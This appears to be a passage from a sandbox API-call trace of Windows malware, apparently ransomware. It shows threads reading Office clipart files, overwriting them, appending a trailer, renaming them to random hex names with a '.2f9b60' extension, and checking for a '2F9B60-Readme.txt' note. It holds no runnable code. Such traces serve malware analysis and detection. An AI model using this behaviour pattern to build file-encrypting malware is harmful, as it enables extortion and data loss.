0x1b8600c0 [0108.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.660] NtQuerySystemTime (in: CurrentTime=0x2ac5fb20 | out: CurrentTime=0x2ac5fb20*=132462177141526000) returned 0x0 [0108.660] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x27e3bf41 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x56a1195 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x5434ed48 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x7065ba63 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x252de226 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x32da709c [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x3be7cc01 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x8bf86c4 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x7c9f2f8f [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x144750a8 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x171c17cc [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x4d13ece [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x4250f912 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x67856aaa [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x680c0c53 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x532c2f85 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x777e8934 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x87b2f3c [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x6db29da0 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x4c840f6f [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x4970ea74 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x7fe2a93c [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x6fe38db4 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x34ac1be1 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x5a3e449d [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x71f72802 [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x2a7de19a [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x2a4218cf [0108.661] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x456cf3f9 [0108.662] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x18d380c0 [0108.662] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x3b558a2e [0108.662] RtlRandomEx (in: Seed=0x2ac5fb10 | out: Seed=0x2ac5fb10) returned 0x692e10e2 [0108.670] ReadFile (in: hFile=0x1490, lpBuffer=0x41e578d0, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x2ac5fb10, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesRead=0x2ac5fb10*=0x385c, lpOverlapped=0x0) returned 1 [0108.691] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.691] WriteFile (in: hFile=0x1490, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x385c, lpNumberOfBytesWritten=0x2ac5fb14, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2ac5fb14*=0x385c, lpOverlapped=0x0) returned 1 [0108.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0108.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0108.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fc10 [0108.715] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.715] WriteFile (in: hFile=0x1490, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ac5fc30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2ac5fc30*=0x10a, lpOverlapped=0x0) returned 1 [0108.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0108.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0108.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0108.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.728] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="0d") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="64") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="94") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="0d") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="a1") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="15") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="c1") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="0a") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="f8") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="1f") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="8c") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="40") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="4e") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f0") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="0a") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="5b") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="3b") returned 2 [0108.728] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="6e") returned 2 [0108.729] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="eb") returned 2 [0108.729] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="fe") returned 2 [0108.729] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="cf") returned 2 [0108.729] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="41") returned 2 [0108.729] RtlInitAnsiString (in: DestinationString=0x2ac5fca8, SourceString="0d64940da115c10af81f8c0c404ef00c0a5b3b6eebfecf41" | out: DestinationString="0d64940da115c10af81f8c0c404ef00c0a5b3b6eebfecf41") [0108.729] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ac5fc78, SourceString="0d64940da115c10af81f8c0c404ef00c0a5b3b6eebfecf41", AllocateDestinationString=1 | out: DestinationString="0d64940da115c10af81f8c0c404ef00c0a5b3b6eebfecf41") returned 0x0 [0108.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0108.729] wcscat (in: _Dest=0x20500db0, _Source="0d64940da115" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0d64940da115") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0d64940da115" [0108.729] wcscat (in: _Dest=0x20500db0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0d64940da115.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0d64940da115.2f9b60" [0108.729] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0d64940da115.2f9b60", NtPathName=0x2ac5fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0d64940da115.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060830 [0108.729] NtSetInformationFile (FileHandle=0x1490, IoStatusBlock=0x2ac5fcf0, FileInformation=0x42060830, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0110.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264740) returned 1 [0110.054] NtQueryInformationFile (in: FileHandle=0x1490, IoStatusBlock=0x2ac5fcb8, FileInformation=0x2ac5fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ac5fcb8, FileInformation=0x2ac5fcc8) returned 0x0 [0110.054] NtSetInformationFile (FileHandle=0x1490, IoStatusBlock=0x2ac5fcb8, FileInformation=0x2ac5fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500db0) returned 1 [0110.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0110.064] FlushFileBuffers (hFile=0x1490) returned 1 [0110.078] CloseHandle (hObject=0x1490) returned 1 [0110.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500ef0 [0110.088] wcscpy (in: _Dest=0x20500ef0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.088] wcscat (in: _Dest=0x20500ef0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ef0) returned 1 [0110.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4af00) returned 1 Thread: id = 675 os_tid = 0x1170 [0096.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0107.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", dwFileAttributes=0x20) returned 1 [0108.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x155c [0108.627] GetFileSizeEx (in: hFile=0x155c, lpFileSize=0x2b27f920 | out: lpFileSize=0x2b27f920*=7072) returned 1 [0108.627] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x1b9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.627] ReadFile (in: hFile=0x155c, lpBuffer=0x2b27f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b27f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2b27f8a0*, lpNumberOfBytesRead=0x2b27f8e8*=0x4, lpOverlapped=0x0) returned 1 [0108.637] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0108.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.638] NtQuerySystemTime (in: CurrentTime=0x2b27f7e0 | out: CurrentTime=0x2b27f7e0*=132462177141214000) returned 0x0 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x19a62471 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x714d795b [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x2d28363c [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x28514081 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x2b7bfbe [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x4242a8a4 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x6baef73a [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x7892af81 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x530b02c9 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x69d41127 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x6ba28859 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x1e8ac349 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x1c604269 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x1ac2cfd1 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x26e4a85e [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x14633e2e [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0xf16caf7 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x57502432 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x210197a [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x25748f54 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x4db042a [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x1a6101a5 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x708eb07a [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x13899f37 [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x6288da5e [0108.638] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x75b2a484 [0108.639] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x3f8e2266 [0108.639] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x6788074b [0108.639] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x7547b82d [0108.639] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x59f16200 [0108.639] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x4b4bc58c [0108.639] RtlRandomEx (in: Seed=0x2b27f7d0 | out: Seed=0x2b27f7d0) returned 0x3ccea7a4 [0108.648] ReadFile (in: hFile=0x155c, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x2b27f7d0, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2b27f7d0*=0x1ba0, lpOverlapped=0x0) returned 1 [0108.656] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.656] WriteFile (in: hFile=0x155c, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x2b27f7d4, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2b27f7d4*=0x1ba0, lpOverlapped=0x0) returned 1 [0108.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0108.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0108.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8601e0 [0108.672] SetFilePointerEx (in: hFile=0x155c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.673] WriteFile (in: hFile=0x155c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b27f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2b27f8f0*=0x10a, lpOverlapped=0x0) returned 1 [0108.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604e0) returned 1 [0108.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8602d0) returned 1 [0108.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.694] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="28") returned 2 [0108.694] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="08") returned 2 [0108.694] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f7") returned 2 [0108.694] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="67") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="a2") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="c7") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="8d") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="0a") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="c6") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="60") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="6c") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="96") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="15") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="e3") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="91") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="de") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="39") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="2f") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="22") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="5a") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="c0") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="9d") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="f9") returned 2 [0108.695] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="c1") returned 2 [0108.695] RtlInitAnsiString (in: DestinationString=0x2b27f968, SourceString="2808f767a2c78d0ac6606c9615e391de392f225ac09df9c1" | out: DestinationString="2808f767a2c78d0ac6606c9615e391de392f225ac09df9c1") [0108.695] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b27f938, SourceString="2808f767a2c78d0ac6606c9615e391de392f225ac09df9c1", AllocateDestinationString=1 | out: DestinationString="2808f767a2c78d0ac6606c9615e391de392f225ac09df9c1") returned 0x0 [0108.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0108.696] wcscat (in: _Dest=0x20500d10, _Source="2808f767a2c7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2808f767a2c7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2808f767a2c7" [0108.696] wcscat (in: _Dest=0x20500d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2808f767a2c7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2808f767a2c7.2f9b60" [0108.696] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2808f767a2c7.2f9b60", NtPathName=0x2b27f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2808f767a2c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060770 [0108.696] NtSetInformationFile (FileHandle=0x155c, IoStatusBlock=0x2b27f9b0, FileInformation=0x42060770, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060770) returned 1 [0110.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264970) returned 1 [0110.045] NtQueryInformationFile (in: FileHandle=0x155c, IoStatusBlock=0x2b27f978, FileInformation=0x2b27f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b27f978, FileInformation=0x2b27f988) returned 0x0 [0110.045] NtSetInformationFile (FileHandle=0x155c, IoStatusBlock=0x2b27f978, FileInformation=0x2b27f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d10) returned 1 [0110.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0110.053] FlushFileBuffers (hFile=0x155c) returned 1 [0110.065] CloseHandle (hObject=0x155c) returned 1 [0110.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500db0 [0110.066] wcscpy (in: _Dest=0x20500db0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.066] wcscat (in: _Dest=0x20500db0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500db0) returned 1 [0110.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4af90) returned 1 Thread: id = 676 os_tid = 0x1174 [0096.573] 